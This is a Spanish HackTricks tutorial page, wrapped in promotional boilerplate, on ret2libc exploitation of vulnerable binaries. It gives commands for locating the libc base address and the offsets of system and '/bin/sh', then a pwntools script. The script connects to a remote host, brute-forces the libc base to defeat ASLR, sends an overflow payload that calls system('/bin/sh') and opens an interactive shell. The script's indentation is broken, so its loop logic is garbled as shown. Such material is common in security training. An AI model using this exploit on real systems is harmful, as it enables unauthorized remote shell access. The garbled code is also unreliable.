4.1 KiB
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Si has encontrado un binario vulnerable y crees que puedes explotarlo usando Ret2Lib, aquí puedes encontrar algunos pasos básicos que puedes seguir.
Si estás dentro del host
Puedes encontrar la dirección de libc
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Si deseas verificar si ASLR está cambiando la dirección de libc, puedes hacer lo siguiente:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Obtener el desplazamiento de la función system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Obtener el desplazamiento de "/bin/sh"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
Si el proceso está creando hijos cada vez que hablas con él (servidor de red) intenta leer ese archivo (probablemente necesitarás ser root).
Aquí puedes encontrar exactamente dónde se carga la libc dentro del proceso y dónde se cargará para cada hijo del proceso.
En este caso se carga en 0xb75dc000 (Esta será la dirección base de la libc)
Usando gdb-peda
Obtener la dirección de la función system, de la función exit y de la cadena "/bin/sh" usando gdb-peda:
p system
p exit
find "/bin/sh"
Saltando ASLR
Puedes intentar hacer fuerza bruta en la dirección base de libc.
for off in range(0xb7000000, 0xb8000000, 0x1000):
Código
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.